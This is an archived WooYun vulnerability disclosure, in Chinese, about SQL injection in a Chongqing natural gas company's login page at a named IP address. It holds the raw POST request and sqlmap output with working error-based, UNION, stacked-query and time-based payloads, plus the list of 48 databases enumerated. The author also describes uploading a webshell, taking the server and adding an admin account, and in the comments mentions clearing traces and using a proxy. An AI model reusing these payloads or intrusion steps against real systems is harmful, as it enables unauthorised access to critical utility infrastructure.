当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068188

漏洞标题:某省天然气公司某处sql注入可漫游内网

相关厂商:重庆天然气公司

漏洞作者: scanf

提交时间:2014-07-11 16:49

修复时间:2014-08-25 16:50

公开时间:2014-08-25 16:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-11: 细节已通知厂商并且等待厂商处理中
2014-07-16: 厂商已经确认,细节仅向厂商公开
2014-07-26: 细节向核心白帽子及相关领域专家公开
2014-08-05: 细节向普通白帽子公开
2014-08-15: 细节向实习白帽子公开
2014-08-25: 细节向公众公开

简要描述:

唉,我说,这个天然气公司很重要啊!

详细说明:

问题呢出在天然气公司的一个业务上.
http://111.10.24.94/main.aspx?Id=1&groupId=4

漏洞证明:

注入点是post
post:
POST /mobile/Default.aspx HTTP/1.1
Host: 111.10.24.94
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://111.10.24.94/mobile/Default.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218
__VIEWSTATE=%2FwEPDwUKMTEyMTc3MTQwNmRk5FyYW6DKJOXHx9cSr7nmqT%2FfM1o%3D&__EVENTVALIDATION=%2FwEWBAL7wsuHAQLB2tiHDgKd%2B7qdDgKC3IeGDNVoh2hLgmVzilwrKPqSYGvjfW9g&txtUser=admin&txtPwd=admin&btnLogin=%E7%99%BB%E9%99%86
sqlmap跑表
[wooyun@scanf~]# Sqlmap -r post.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:19:30
[15:19:30] [INFO] parsing HTTP request from 'post.txt'
[15:19:31] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:19:31] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: txtUser
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin' AND 7704=CONVERT(INT,(SELECT CHAR(113)+CHAR(110)+CHAR(121)+CHAR(
100)+CHAR(113)+(SELECT (CASE WHEN (7704=7704) THEN CHAR(49) ELSE CHAR(48) END))+
CHAR(113)+CHAR(104)+CHAR(109)+CHAR(103)+CHAR(113))) AND 'FVwX'='FVwX&txtPwd=admi
n&btnLogin=%E7%99%BB%E9%99%86
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(110)+CHAR(121)+CH
AR(100)+CHAR(113)+CHAR(80)+CHAR(115)+CHAR(97)+CHAR(80)+CHAR(111)+CHAR(86)+CHAR(6
8)+CHAR(85)+CHAR(88)+CHAR(115)+CHAR(113)+CHAR(104)+CHAR(109)+CHAR(103)+CHAR(113)
,NULL-- &txtPwd=admin&btnLogin=%E7%99%BB%E9%99%86
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin'; WAITFOR DELAY '0:0:5'--&txtPwd=admin&btnLogin=%E7%99%BB%E9%99%8
6
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKMTEyMTc3MTQwNg9kFgICAw9kFgICBw8PFgIeBFRleHQFJOi
+k+WFpeeahOi0puaIt+WQjeWSjOWvhueggemUmeivr++8gWRkZL8NIpuVvqplUy84aJ2dQ4PFVpHo&__
EVENTVALIDATION=/wEWBALX4cr8AwLB2tiHDgKd+7qdDgKC3IeGDLqehG586cM1lKT22wgWKoSL7Pa4
&txtUser=admin' WAITFOR DELAY '0:0:5'--&txtPwd=admin&btnLogin=%E7%99%BB%E9%99%86
---
[15:19:31] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[15:19:31] [INFO] fetching database names
[15:19:31] [INFO] the SQL query used returns 51 entries
available databases [48]:
[*] BaZhong
[*] BeiBei_Flowmeter
[*] ChangShou
[*] DaDuKou
[*] DaPing
[*] DaZhulin
[*] DaZu
[*] DBSignal
[*] DemoFlowmeter
[*] DemoMeter
[*] DemoNewMeter
[*] FL_Flowmeter
[*] FL_GasMeterNew
[*] GuanYingQiao
[*] HuangJuePing
[*] JieFangBei
[*] JiuGongMiao
[*] LongShui
[*] LongTouShi
[*] LongXiZheng
[*] master
[*] MeterService
[*] model
[*] msdb
[*] NanAn
[*] QiXingGang
[*] RC_flowmeterNew
[*] ReportServer
[*] ReportServerTempDB
[*] RongChang_test
[*] SelledService_GC
[*] SiGongLi
[*] SiMen
[*] TangJiaTuo
[*] tempdb
[*] TempTest
[*] TestBaZhong
[*] TN_FlowMeter
[*] TongNanNew
[*] wgktmp
[*] WuLiDian
[*] XiPengTest
[*] YangJiaPing
[*] YanShi
[*] YouTing
[*] YuChuanNew
[*] YuZhouXincheng
[*] ZhongXian
[15:19:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\111.10.24.94'
[*] shutting down at 15:19:32
然后上传shell拿到的服务器

QQ截图20140711163240.png


QQ截图20140711164033.png


建立用户admin 删除即可

QQ截图20140711164230.png


修复方案:

未深入,jc叔叔别查我水表啊,过滤注入点 加强内网安全,提升服务器安全.

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-07-16 10:20

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-11 18:01 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    你们放过直辖市吧

  2. 2014-07-11 18:02 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    点根烟冷静冷静~

  3. 2014-07-11 18:03 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    重庆.

  4. 2014-07-11 18:07 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    我是重庆的路过..

  5. 2014-07-11 18:19 | kider脚本小子 ( 路人 | Rank:4 漏洞数:2 | 系统软件安装及其调试。电脑硬件问题检测...)

    重庆路过。。

  6. 2014-07-12 01:38 | 不许联想 ( 路人 | Rank:15 漏洞数:3 | 求收编,本人会注入,会上传,会Xss,会破...)

    什么叫漫游?

  7. 2014-07-12 10:43 | ../ ( 路人 | Rank:4 漏洞数:2 )

    @不许联想 漫游 就是 舌头游走你全身

  8. 2014-07-12 10:48 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    @不许联想 舌尖上的内部网络

  9. 2014-07-21 22:53 | 不许联想 ( 路人 | Rank:15 漏洞数:3 | 求收编,本人会注入,会上传,会Xss,会破...)

    @scanf 大牛啊学习了!

  10. 2014-08-05 22:44 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @scanf 服务器痕迹清理

  11. 2014-08-06 08:40 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    @U神 清理了,不知道清理干净没有

  12. 2014-08-06 08:41 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @scanf 挂代理了么?

  13. 2014-08-06 09:13 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    有挂@U神 如果要查我水表,wj不可能查不到吧.

  14. 2014-08-26 16:20 | cooFool ( 路人 | Rank:0 漏洞数:2 | 终于通过了。)

    说,你是不是重邮的。!背时娃儿

  15. 2014-08-26 16:25 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    @cooFool 我也想啊!可惜啊,应该考不上